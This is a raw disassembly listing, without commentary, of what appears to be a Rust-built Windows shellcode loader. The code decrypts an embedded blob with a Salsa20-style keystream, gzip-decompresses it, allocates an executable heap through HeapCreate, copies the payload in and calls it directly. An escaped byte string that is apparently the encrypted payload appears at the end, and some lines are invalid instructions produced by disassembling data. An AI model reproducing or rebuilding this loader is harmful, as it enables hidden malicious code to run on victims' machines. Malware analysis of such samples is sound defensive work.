rol eax, 0xd
xor eax, edi
lea r8d, [rax + rbp]
rol r8d, 0x12
xor r8d, ecx
lea r14d, [rdx + r10]
rol r14d, 7
xor r14d, r11d
lea ebx, [r14 + rdx]
rol ebx, 9
xor ebx, dword [rsp + 0xa8]
lea r11d, [rbx + r14]
rol r11d, 0xd
xor r11d, r10d
lea esi, [r11 + rbx]
rol esi, 0x12
xor esi, edx
mov rdi, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
lea r10d, [rcx + rdi]
rol r10d, 7
xor r10d, dword [rsp + 0xb0]
add ecx, r10d
rol ecx, 9
xor ecx, dword [rsp + 0xa0]
lea edx, [rcx + r10]
rol edx, 0xd
xor edx, edi
lea edi, [rdx + rcx]
rol edi, 0x12
xor edi, dword [rsp + 0x40]
dec qword [rsp + 0x90]
jne 0x140007970
movd xmm7, dword [rsp + 0x38]
movd xmm4, r15d
movd xmm9, r13d
movd xmm6, r9d
movd xmm0, ebp
movd xmm1, r12d
movd xmm10, r8d
movd xmm8, eax
movd xmm11, r14d
movd xmm12, esi
movd xmm13, r11d
movd xmm5, ebx
movd xmm14, edi
punpckldq xmm4, xmm7
punpckldq xmm6, xmm9
punpcklqdq xmm6, xmm4
paddd xmm6, xmmword [rsp + 0xed0]
punpckldq xmm1, xmm0
punpckldq xmm8, xmm10
punpcklqdq xmm8, xmm1
punpckldq xmm12, xmm11
punpckldq xmm5, xmm13
punpcklqdq xmm5, xmm12
paddd xmm5, xmmword [rsp + 0x260]
paddd xmm8, xmmword [rsp + 0xec0]
movd xmm0, edx
punpckldq xmm0, xmm14
movd xmm1, ecx
movd xmm4, r10d
punpckldq xmm4, xmm1
punpcklqdq xmm4, xmm0
paddd xmm4, xmmword [rsp + 0xeb0]
movd ecx, xmm6
shr ecx, 8
movdqa xmm0, xmm6
psrld xmm0, 0x18
movdqa xmm9, xmm6
psrld xmm9, 0x10
punpckldq xmm9, xmm0
pshufd xmm7, xmm6, 0x55
movd edx, xmm7
mov eax, edx
shr eax, 8
movd xmm12, ecx
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
pshufd xmm10, xmm6, 0xee
movd xmm0, edx
movd edx, xmm10
movd xmm1, ecx
mov ecx, edx
shr ecx, 8
movd xmm13, eax
mov eax, edx
shr eax, 0x10
shr edx, 0x18
pshufd xmm11, xmm6, 0xff
movd xmm14, edx
movd edx, xmm11
movd xmm15, eax
mov eax, edx
shr eax, 8
movd xmm2, ecx
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
punpckldq xmm6, xmm12
punpcklqdq xmm6, xmm9
punpckldq xmm1, xmm0
punpckldq xmm7, xmm13
punpcklqdq xmm7, xmm1
punpckldq xmm15, xmm14
punpckldq xmm10, xmm2
punpcklqdq xmm10, xmm15
movd xmm0, edx
movd xmm1, ecx
punpckldq xmm1, xmm0
movd xmm0, eax
punpckldq xmm11, xmm0
punpcklqdq xmm11, xmm1
movdqa xmm0, xmmword [0x1400fc650]
pand xmm11, xmm0
pand xmm10, xmm0
packuswb xmm10, xmm11
pand xmm6, xmm0
pand xmm7, xmm0
packuswb xmm6, xmm7
packuswb xmm6, xmm10
mov r8, qword [rsp + 0x3d8]
movdqu xmm0, xmmword [r8]
pxor xmm0, xmm6
movdqu xmm9, xmmword [r8 + 0x10]
movdqu xmm7, xmmword [r8 + 0x20]
movups xmm1, xmmword [r8 + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movdqu xmmword [r8], xmm0
movd ecx, xmm8
shr ecx, 8
movdqa xmm0, xmm8
psrld xmm0, 0x18
movdqa xmm11, xmm8
psrld xmm11, 0x10
punpckldq xmm11, xmm0
pshufd xmm10, xmm8, 0x55
movd edx, xmm10
mov eax, edx
shr eax, 8
movd xmm0, ecx
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
pshufd xmm12, xmm8, 0xee
movd xmm1, edx
movd edx, xmm12
movd xmm2, ecx
mov ecx, edx
shr ecx, 8
movd xmm14, eax
mov eax, edx
shr eax, 0x10
shr edx, 0x18
pshufd xmm13, xmm8, 0xff
movd xmm15, edx
movd edx, xmm13
movd xmm3, eax
mov eax, edx
shr eax, 8
punpckldq xmm8, xmm0
movd xmm0, ecx
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
punpcklqdq xmm8, xmm11
punpckldq xmm2, xmm1
punpckldq xmm10, xmm14
punpcklqdq xmm10, xmm2
punpckldq xmm3, xmm15
punpckldq xmm12, xmm0
punpcklqdq xmm12, xmm3
movd xmm0, edx
movd xmm1, ecx
punpckldq xmm1, xmm0
movd xmm0, eax
punpckldq xmm13, xmm0
punpcklqdq xmm13, xmm1
movdqa xmm6, xmmword [0x1400fc650]
pand xmm13, xmm6
pand xmm12, xmm6
packuswb xmm12, xmm13
pand xmm8, xmm6
pand xmm10, xmm6
packuswb xmm8, xmm10
packuswb xmm8, xmm12
pxor xmm8, xmm9
movdqu xmmword [r8 + 0x10], xmm8
movd ecx, xmm5
shr ecx, 8
movdqa xmm0, xmm5
psrld xmm0, 0x18
movdqa xmm10, xmm5
psrld xmm10, 0x10
punpckldq xmm10, xmm0
pshufd xmm9, xmm5, 0x55
movd edx, xmm9
mov eax, edx
shr eax, 8
movd xmm12, ecx
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
pshufd xmm8, xmm5, 0xee
movd xmm0, edx
movd edx, xmm8
movd xmm1, ecx
mov ecx, edx
shr ecx, 8
movd xmm2, eax
mov eax, edx
shr eax, 0x10
shr edx, 0x18
pshufd xmm11, xmm5, 0xff
movd xmm3, edx
movd edx, xmm11
movd xmm13, eax
mov eax, edx
shr eax, 8
movd xmm14, ecx
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
punpckldq xmm5, xmm12
punpcklqdq xmm5, xmm10
punpckldq xmm1, xmm0
punpckldq xmm9, xmm2
punpcklqdq xmm9, xmm1
punpckldq xmm13, xmm3
punpckldq xmm8, xmm14
punpcklqdq xmm8, xmm13
movd xmm0, edx
movd xmm1, ecx
punpckldq xmm1, xmm0
movd xmm0, eax
punpckldq xmm11, xmm0
punpcklqdq xmm11, xmm1
pand xmm11, xmm6
pand xmm8, xmm6
packuswb xmm8, xmm11
pand xmm5, xmm6
pand xmm9, xmm6
packuswb xmm5, xmm9
movd ecx, xmm4
shr ecx, 8
pshufd xmm9, xmm4, 0x55
movd edx, xmm9
mov eax, edx
shr eax, 8
movd xmm11, ecx
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
pshufd xmm10, xmm4, 0xee
movd xmm13, edx
movd edx, xmm10
movd xmm14, ecx
mov ecx, edx
shr ecx, 8
movd xmm15, eax
mov eax, edx
shr eax, 0x10
shr edx, 0x18
pshufd xmm12, xmm4, 0xff
movd xmm0, edx
movd edx, xmm12
movd xmm1, eax
mov eax, edx
movd xmm2, ecx
mov ecx, edx
shr edx, 0x18
movd xmm3, edx
packuswb xmm5, xmm8
shr ecx, 0x10
movd xmm8, ecx
pxor xmm5, xmm7
movdqu xmmword [r8 + 0x20], xmm5
movdqa xmm5, xmm4
psrld xmm5, 0x18
movdqa xmm7, xmm4
psrld xmm7, 0x10
punpckldq xmm7, xmm5
shr eax, 8
movd xmm5, eax
punpckldq xmm4, xmm11
punpcklqdq xmm4, xmm7
punpckldq xmm14, xmm13
punpckldq xmm9, xmm15
punpcklqdq xmm9, xmm14
punpckldq xmm1, xmm0
punpckldq xmm10, xmm2
punpcklqdq xmm10, xmm1
punpckldq xmm8, xmm3
punpckldq xmm12, xmm5
punpcklqdq xmm12, xmm8
pand xmm12, xmm6
pand xmm10, xmm6
packuswb xmm10, xmm12
pand xmm4, xmm6
pand xmm9, xmm6
packuswb xmm4, xmm9
packuswb xmm4, xmm10
pxor xmm4, xmmword [rsp + 0x40]
movdqu xmmword [r8 + 0x30], xmm4
lea rcx, [r8 + 0x40]
mov rbx, qword [rsp + 0x88]
inc rbx
mov rax, qword [rsp + 0x3e0]
add rax, 0xffffffffffffffc0
jne 0x1400078b0
jmp 0x140007fe3
xor ebx, ebx
mov rax, qword [rsp + 0x1d0]
mov byte [rsp + 0x2c8], al
mov qword [rsp + 0x2c0], rbx
test rax, rax
mov rax, qword [rsp + 0x60]
je 0x140008398
add rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x260], rbx
mov r9, rbx
shr r9, 0x20
mov r12d, dword [rsp + 0x240]
mov edi, dword [rsp + 0x244]
mov edx, dword [rsp + 0x270]
mov eax, dword [rsp + 0x250]
mov r15d, dword [rsp + 0x254]
mov r13d, dword [rsp + 0x274]
mov r14d, dword [rsp + 0x268]
mov esi, dword [rsp + 0x258]
mov ebp, dword [rsp + 0x278]
mov r11d, dword [rsp + 0x248]
mov rcx, rbx
mov ebx, dword [rsp + 0x27c]
mov r8d, dword [rsp + 0x26c]
mov r10d, dword [rsp + 0x24c]
mov qword [rsp + 0x38], r10
mov r10d, 0xa
mov qword [rsp + 0x88], r10
mov r10d, dword [rsp + 0x25c]
nop word cs:[rax + rax]
mov qword [rsp + 0x40], r10
lea r10d, [rdx + r12]
rol r10d, 7
xor r10d, eax
lea eax, [r10 + r12]
rol eax, 9
xor eax, ecx
mov rcx, rax
mov qword [rsp + 0xa8], rax
add eax, r10d
rol eax, 0xd
xor eax, edx
mov qword [rsp + 0xb0], rax
add eax, ecx
rol eax, 0x12
xor eax, r12d
lea edx, [rdi + r15]
rol edx, 7
xor edx, r9d
mov qword [rsp + 0x98], rdx
lea ecx, [rdx + r15]
rol ecx, 9
xor ecx, r13d
mov qword [rsp + 0xa0], rcx
lea r9d, [rcx + rdx]
rol r9d, 0xd
xor r9d, edi
lea edx, [r9 + rcx]
rol edx, 0x12
xor edx, r15d
lea ecx, [rsi + r14]
rol ecx, 7
xor ecx, ebp
mov qword [rsp + 0x90], rcx
lea r12d, [rcx + r14]
rol r12d, 9
xor r12d, r11d
lea r15d, [r12 + rcx]
rol r15d, 0xd
xor r15d, esi
lea r13d, [r15 + r12]
rol r13d, 0x12
xor r13d, r14d
lea esi, [r8 + rbx]
rol esi, 7
xor esi, dword [rsp + 0x38]
lea ebp, [rsi + rbx]
rol ebp, 9
xor ebp, dword [rsp + 0x40]
lea r14d, [rsi + rbp]
rol r14d, 0xd
xor r14d, r8d
lea ecx, [r14 + rbp]
rol ecx, 0x12
xor ecx, ebx
mov qword [rsp + 0x40], rcx
lea edi, [rsi + rax]
rol edi, 7
xor edi, r9d
lea r11d, [rdi + rax]
rol r11d, 9
xor r11d, r12d
lea ecx, [r11 + rdi]
rol ecx, 0xd
xor ecx, esi
mov qword [rsp + 0x38], rcx
lea r12d, [rcx + r11]
rol r12d, 0x12
xor r12d, eax
mov rcx, r10
lea esi, [rdx + r10]
rol esi, 7
xor esi, r15d
lea r10d, [rsi + rdx]
rol r10d, 9
xor r10d, ebp
lea eax, [r10 + rsi]
rol eax, 0xd
xor eax, ecx
lea r15d, [rax + r10]
rol r15d, 0x12
xor r15d, edx
mov rdx, qword [rsp + 0x98]
lea r8d, [rdx + r13]
rol r8d, 7
xor r8d, r14d
lea ecx, [r8 + r13]
rol ecx, 9
xor ecx, dword [rsp + 0xa8]
lea r9d, [rcx + r8]
rol r9d, 0xd
xor r9d, edx
lea r14d, [r9 + rcx]
rol r14d, 0x12
xor r14d, r13d
mov rbx, qword [rsp + 0x90]
mov r13, qword [rsp + 0x40]
lea edx, [rbx + r13]
rol edx, 7
xor edx, dword [rsp + 0xb0]
add r13d, edx
rol r13d, 9
xor r13d, dword [rsp + 0xa0]
lea ebp, [rdx + r13]
rol ebp, 0xd
xor ebp, ebx
lea ebx, [rbp + r13]
rol ebx, 0x12
xor ebx, dword [rsp + 0x40]
dec qword [rsp + 0x88]
jne 0x1400080b0
movd xmm3, dword [rsp + 0x38]
movd xmm2, r11d
movd xmm4, edi
movd xmm0, r12d
movd xmm7, r10d
movd xmm5, esi
movd xmm8, r15d
movd xmm1, eax
movd xmm9, r8d
movd xmm10, r14d
movd xmm11, r9d
movd xmm6, ecx
movd xmm12, ebx
movd xmm13, ebp
movd xmm14, r13d
movd xmm15, edx
punpckldq xmm2, xmm3
punpckldq xmm0, xmm4
punpcklqdq xmm0, xmm2
punpckldq xmm5, xmm7
punpckldq xmm1, xmm8
punpcklqdq xmm1, xmm5
punpckldq xmm10, xmm9
punpckldq xmm6, xmm11
punpcklqdq xmm6, xmm10
paddd xmm0, xmmword [rsp + 0x240]
paddd xmm1, xmmword [rsp + 0x250]
punpckldq xmm13, xmm12
paddd xmm6, xmmword [rsp + 0x260]
punpckldq xmm15, xmm14
punpcklqdq xmm15, xmm13
paddd xmm15, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x280], xmm0
movdqa xmmword [rsp + 0x290], xmm1
movdqa xmmword [rsp + 0x2a0], xmm6
movdqa xmmword [rsp + 0x2b0], xmm15
mov r10, qword [rsp + 0x1d0]
cmp r10d, 8
jae 0x140008347
xor eax, eax
mov r9, qword [rsp + 0x60]
jmp 0x140008380
mov rcx, qword [rsp + 0x1c8]
and ecx, 7
mov rax, r10
sub rax, rcx
xor edx, edx
mov r9, qword [rsp + 0x60]
nop
mov r8, qword [rsp + rdx + 0x280]
xor qword [r9 + rdx], r8
add rdx, 8
cmp rax, rdx
jne 0x140008360
test rcx, rcx
je 0x140008398
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x280]
xor byte [r9 + rax], cl
lea rcx, [rax + 1]
mov rax, rcx
cmp r10, rcx
jne 0x140008380
mov edx, 0x8000
mov ecx, 8
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hd6977e2a73b8a78a
test rax, rax
je 0x140008e0c
movabs rsi, 0x8000000000000000
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x400], rcx
mov rcx, qword [rsp + 0x1c8]
mov qword [rsp + 0x408], rcx
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], 0x8000
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x420], xmm0
mov byte [rsp + 0x238], 0
mov qword [rsp + 0x228], 0
mov dword [rsp + 0x230], 0
mov qword [rsp + 0x1d8], rsi
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x208], rsi
mov dword [rsp + 0x220], 0
mov byte [rsp + 0x224], 0
lea rcx, [rsp + 0x1d8]
lea rdx, [rsp + 0x400]
call sym.flate2::gz::GzHeaderParser::parse::h886d7fdce0f77e04
mov rdi, rax
mov qword [rsp + 0xf0], rax
test rax, rax
je 0x140008508
mov rcx, rdi
call sym.std::io::error::Error::kind::h79d24279ec981986
cmp al, 0xd
jne 0x1400085fa
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x330], rax
movups xmm0, xmmword [rsp + 0x228]
movaps xmmword [rsp + 0x320], xmm0
movups xmm0, xmmword [rsp + 0x218]
movaps xmmword [rsp + 0x310], xmm0
movdqu xmm0, xmmword [rsp + 0x1d8]
movdqu xmm1, xmmword [rsp + 0x1e8]
movdqu xmm2, xmmword [rsp + 0x1f8]
movdqu xmm3, xmmword [rsp + 0x208]
movdqa xmmword [rsp + 0x300], xmm3
movdqa xmmword [rsp + 0x2f0], xmm2
movdqa xmmword [rsp + 0x2e0], xmm1
movdqa xmmword [rsp + 0x2d0], xmm0
mov sil, 1
lea rcx, [rsp + 0xf0]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h5328b91012bf05a8
jmp 0x140008610
movups xmm0, xmmword [rsp + 0x218]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x1d8]
movups xmm1, xmmword [rsp + 0x1e8]
movups xmm2, xmmword [rsp + 0x1f8]
movups xmm3, xmmword [rsp + 0x208]
movaps xmmword [rsp + 0x170], xmm3
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
movzx eax, byte [rsp + 0x228]
dec eax
cmp eax, 4
ja case.default.0x14000857d
mov r8, qword [rsp + 0x230]
lea rcx, [0x1400fc660]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
test r8, r8
je case.default.0x14000857d
mov rcx, qword [0x1402970b8]
xor edx, edx
call fcn.1400f8e9c
movaps xmm0, xmmword [rsp + 0x180]
movups xmmword [rsp + 0x318], xmm0
movdqa xmm0, xmmword [rsp + 0x140]
movdqa xmm1, xmmword [rsp + 0x150]
movdqa xmm2, xmmword [rsp + 0x160]
movdqa xmm3, xmmword [rsp + 0x170]
movdqu xmmword [rsp + 0x308], xmm3
movdqu xmmword [rsp + 0x2f8], xmm2
movdqu xmmword [rsp + 0x2e8], xmm1
movdqu xmmword [rsp + 0x2d8], xmm0
inc rsi
mov qword [rsp + 0x2d0], rsi
mov sil, 1
jmp 0x140008610
mov qword [rsp + 0x2d8], rdi
add rsi, 3
mov qword [rsp + 0x2d0], rsi
xor esi, esi
mov rbx, qword [rsp + 0x410]
mov r15, qword [rsp + 0x418]
movzx eax, byte [0x140297030]
mov edx, 0xab08
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hd6977e2a73b8a78a
test rax, rax
je 0x140008e1d
mov r14, rax
lea r12, [rsp + 0x420]
pxor xmm6, xmm6
movdqu xmmword [rax + 0xaaf0], xmm6
xor edi, edi
mov r8d, 0xaaea
mov rcx, rax
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [r14 + 0xab00], 0x10201
movups xmm0, xmmword [rsp + 0x400]
movaps xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], r15
movdqu xmm0, xmmword [r12]
movdqa xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x170], r14
movdqu xmmword [rsp + 0x178], xmm6
mov rax, qword [0x1402970c8]
test rax, rax
jne 0x1400086c1
call sym.std_detect::detect::cache::detect_and_initialize::h81c6fcd0acfb3c99
test al, 2
je 0x1400086df
mov rdi, qword [0x1402970c8]
test rdi, rdi
jne 0x1400086d9
call sym.std_detect::detect::cache::detect_and_initialize::h81c6fcd0acfb3c99
mov rdi, rax
shr edi, 0xa
and edi, 1
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x130], rax
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmm2, xmmword [rsp + 0x160]
movaps xmm3, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x2d0]
movaps xmm1, xmmword [rsp + 0x2e0]
movaps xmm2, xmmword [rsp + 0x2f0]
movaps xmm3, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x170], xmm3
movaps xmm0, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0x190], xmm0
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x1a0], rax
test sil, sil
jne 0x1400087b1
lea rcx, [rsp + 0x1d8]
call sym.core::ptr::drop_in_place_flate2::gz::GzHeaderParser_::h57d9da69e846f90d
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmm2, xmmword [rsp + 0x160]
movaps xmm3, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmmword [rsp + 0x2e0], xmm1
movaps xmmword [rsp + 0x2f0], xmm2
movaps xmmword [rsp + 0x300], xmm3
movaps xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x320], xmm0
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x330], rax
mov dword [rsp + 0x338], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x33c], xmm0
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x390], rax
movdqa xmm0, xmmword [rsp + 0xf0]
movdqa xmm1, xmmword [rsp + 0x100]
movdqa xmm2, xmmword [rsp + 0x110]
movdqa xmm3, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x380], xmm3
movdqa xmmword [rsp + 0x370], xmm2
movdqa xmmword [rsp + 0x360], xmm1
movdqa xmmword [rsp + 0x350], xmm0
mov byte [rsp + 0x398], 0
mov eax, dword [rsp + 0x1d8]
mov ecx, dword [rsp + 0x1db]
mov dword [rsp + 0x39c], ecx
mov dword [rsp + 0x399], eax
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 1
mov qword [rsp + 0x100], 0
lea rcx, [rsp + 0x2d0]
lea rdx, [rsp + 0xf0]
call sym.std::io::default_read_to_end::small_probe_read::hc5429939b100f73e
test rax, rax
jne case.0x140008b0d.2
test rdx, rdx
je 0x140008b8d
mov rbx, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0x100]
mov esi, 0x2000
lea rbp, [0x1400fc684]
xor r13d, r13d
mov rax, rdi
or rax, rbx
je 0x140008970
cmp rdi, rbx
jne 0x1400089b0
mov rbx, rdi
add rbx, 0x20
jb 0x140008de6
lea rax, [rdi + rdi]
cmp rax, rbx
cmova rbx, rax
test rdi, rdi
je 0x1400089c2
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e8], rdi
mov eax, 1
jmp 0x1400089c4
lea rcx, [rsp + 0x2d0]
lea rdx, [rsp + 0xf0]
call sym.std::io::default_read_to_end::small_probe_read::hc5429939b100f73e
test rax, rax
jne case.0x140008b0d.2
test rdx, rdx
je 0x140008b8d
mov rbx, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0x100]
cmp rdi, rbx
je 0x14000892a
mov rbx, qword [rsp + 0xf0]
mov r15, qword [rsp + 0xf8]
jmp 0x140008a15
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x140]
mov r8, rbx
lea r9, [rsp + 0x1d8]
call sym.alloc::raw_vec::finish_grow::h348ecc32aa302cdf
cmp qword [rsp + 0x140], 0
jne 0x140008de6
mov r15, qword [rsp + 0x148]
mov qword [rsp + 0xf8], r15
mov qword [rsp + 0xf0], rbx
mov r12, rbx
sub r12, rdi
add r15, rdi
cmp r12, rsi
mov r14, rsi
cmovb r14, r12
mov r8, r14
sub r8, r13
add r13, r15
mov rcx, r13
xor edx, edx
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x2d0]
mov rdx, r15
mov r8, r14
call sym.__flate2::gz::read::GzDecoder_R__as_std::io::Read_::read::hc3b230b635c67aa7
test rax, rax
je 0x140008b40
test rdx, rdx
je 0x140008b8d
mov eax, edx
and eax, 3
lea rcx, [0x1400fc674]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x140008a9c
jmp case.0x140008b0d.2
cmp byte [rdx + 0xf], 0x23
je 0x140008a9c
jmp case.0x140008b0d.2
mov rax, rdx
shr rax, 0x20
cmp rax, 0x23
jne 0x140008d7c
mov qword [rsp + 0x1d8], rdx
lea rcx, [rsp + 0x1d8]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h5328b91012bf05a8
invalid
jmp 0x140008adf
invalid
cmp byte [rdx + 0xf], 0x23
jne case.0x140008b0d.2
mov qword [rsp + 0x1d8], rdx
lea rcx, [rsp + 0x1d8]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h5328b91012bf05a8
lea rcx, [rsp + 0x2d0]
mov rdx, r15
mov r8, r14
call sym.__flate2::gz::read::GzDecoder_R__as_std::io::Read_::read::hc3b230b635c67aa7
test rax, rax
je 0x140008b40
test rdx, rdx
je 0x140008b8d
invalid
add byte [rcx + 0x3e083d0], cl
mov eax, edx
and eax, 3
movsxd rax, dword [rbp + rax*4]
add rax, rbp
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x140008aca
jp 0x140008b22
and esi, dword [rbp + rsi*4 - 0x17]
insd dword [rdi], dx
add al, byte [rax]
add byte [rsi + 0xf], ah
invalid
jmp case.0x140008b0d.2
mov rax, rdx
shr rax, 0x20
cmp rax, 0x23
je 0x140008aca
ror byte [rax - 0x3f], 1
call 0x13883d34a
and esi, dword [rbp + rbx*4 - 0x17]
add al, byte [rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
jmp 0x140008d7c
cmp r14, rdx
jb 0x140008df2
test rdx, rdx
je 0x140008b8d
add rdi, rdx
lea rax, [rsi + rsi]
test rsi, rsi
mov rcx, 0xffffffffffffffff
cmovs rax, rcx
sub r14, rdx
mov qword [rsp + 0x100], rdi
cmovne rax, rsi
cmp r12, rsi
cmovae rsi, rax
mov r13, r14
mov rax, rdi
or rax, rbx
jne 0x140008921
jmp 0x140008970
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
mov rsi, qword [rsp + 0x68]
call sub.KERNEL32.dll_HeapCreate
mov rdi, qword [rsp + 0x100]
mov rcx, rax
mov edx, 8
mov r8, rdi
call fcn.1400f8eac
mov rbx, rax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x140008bda
mov rdx, qword [rsp + 0xf8]
mov rcx, rbx
mov r8, rdi
call sub.msvcrt.dll_memmove
call rbx
cmp qword [rsp + 0xf0], 0
je 0x140008bfb
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1402970b8]
xor edx, edx
call fcn.1400f8e9c
lea rcx, [rsp + 0x2d0]
call sym.core::ptr::drop_in_place_flate2::gz::bufread::GzState_::h6baf233d1f57e8b7
cmp qword [rsp + 0x368], 0
je 0x140008c29
mov r8, qword [rsp + 0x360]
mov rcx, qword [0x1402970b8]
xor edx, edx
call fcn.1400f8e9c
mov r8, qword [rsp + 0x380]
mov rcx, qword [0x1402970b8]
xor edx, edx
call fcn.1400f8e9c
cmp qword [rsp + 0x1a8], 0
je 0x140008c5d
mov rcx, qword [0x1402970b8]
xor edx, edx
mov r8, qword [rsp + 0x58]
call fcn.1400f8e9c
cmp qword [rsp + 0x3c0], 0
je 0x140008c7e
mov r8, qword [rsp + 0x3c8]
mov rcx, qword [0x1402970b8]
xor edx, edx
call fcn.1400f8e9c
cmp qword [rsp + 0x3a8], 0
je 0x140008c9f
mov r8, qword [rsp + 0x3b0]
mov rcx, qword [0x1402970b8]
xor edx, edx
call fcn.1400f8e9c
cmp qword [rsp + 0x1b0], 0
je 0x140008cbd
mov rcx, qword [0x1402970b8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1400f8e9c
cmp qword [rsp + 0x1b8], 0
je 0x140008cdb
mov rcx, qword [0x1402970b8]
xor edx, edx
mov r8, qword [rsp + 0x78]
call fcn.1400f8e9c
cmp qword [rsp + 0x1c0], 0
je 0x140008cfc
mov rcx, qword [0x1402970b8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1400f8e9c
mov byte [rsi], 0
mov rcx, qword [0x1402970b8]
xor edx, edx
mov r8, rsi
call fcn.1400f8e9c
movaps xmm6, xmmword [rsp + 0xee0]
movaps xmm7, xmmword [rsp + 0xef0]
movaps xmm8, xmmword [rsp + 0xf00]
movaps xmm9, xmmword [rsp + 0xf10]
movaps xmm10, xmmword [rsp + 0xf20]
movaps xmm11, xmmword [rsp + 0xf30]
movaps xmm12, xmmword [rsp + 0xf40]
movaps xmm13, xmmword [rsp + 0xf50]
movaps xmm14, xmmword [rsp + 0xf60]
movaps xmm15, xmmword [rsp + 0xf70]
add rsp, 0xf88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp eax, 0x28
ja case.0x140008b0d.2
mov eax, eax
cmp rax, 0x23
mov qword [rsp + 0x1d8], rdx
lea rax, str.src_main.rs0065_U0069_U00ED_U00CB_U0093_U00CB_U0034_U0096_U00E6_U00EC_U0049_U0038_U00EF_U0098_U002F_U003A_U00CD_U0035_U00A8_U0060_U0050_U00A2_U0076_U001A_U001A_U009B_U00CC_U00E2_U0078_U00D3_U0028_U00C9_U00D7_U0006_U00B2_U0026_U00A4_U000F_U0002_U0068_U000F_U004D_U0021_U00C2_U000D_U0033_U0039_U00A2_U002E_U00C3_U0055_U0034_U00AD_U0088_U00C8_U0028_U0071_U00D2_U0072_U0096_U003F_U00DA_U0082_U0026_U0070_U0030_U0097_U0010_U0012_U008C_U0059_U004E_U008E_U0094_U0037_U0024_U0021_U007B_U0044_U0022_U00E5_U0052_U0094_U0093_U00BA_U00B7_U00E1_U007E_U00E2_U003A_U0058_U002F_U00F4_U0097_U004E_U0093_U002B_U0057_U004A_U0089_U004D_U0078_U00AF_U00F7_U0088_U00FF_U00EA_U0075_U00B6_U00B5_U00B1_U008A_U0052_U00B5_U009B_U00E0_U003D_U00BE_U007F_U0090_U005C_U00C1_U007C_U001D_U00B2_U004E_U0061_U005D_U000D_U0097_U00D2_U00F8_U008D_U00F5_U00F1_U00E4_U0026_U0079_U00DB_U0071_U00CC_U00FD_U0013_U00F5_U005C_U0061_U00FC_U0022_U0058_U0055_U008B_U00E0_U0072_U00A6_U0018_U0017_U005A_U00E7_U00D4_U00DC_U00D8_U0060_U0084_U0008_U00D2_U00B6_U00E4_U00EF_U00D9_U00CD_U0069_U0038_U00FC_U00EF_U00AB_U00C5_U0003_U00BB_U00EC_U000D_U0012_U0083_U0077_U00AC_U009F_U0092_U0052_U0002_U00E5_U00DE_U0006_U00E7_U0062_U0068_U00B9_U00F0_U00C1_U0090_U0058_U006E_U00B4_U00CD_U005D_U0050_U00EB_U002D_U00EC_U00A8_U0086_U00FE_U009C_U00F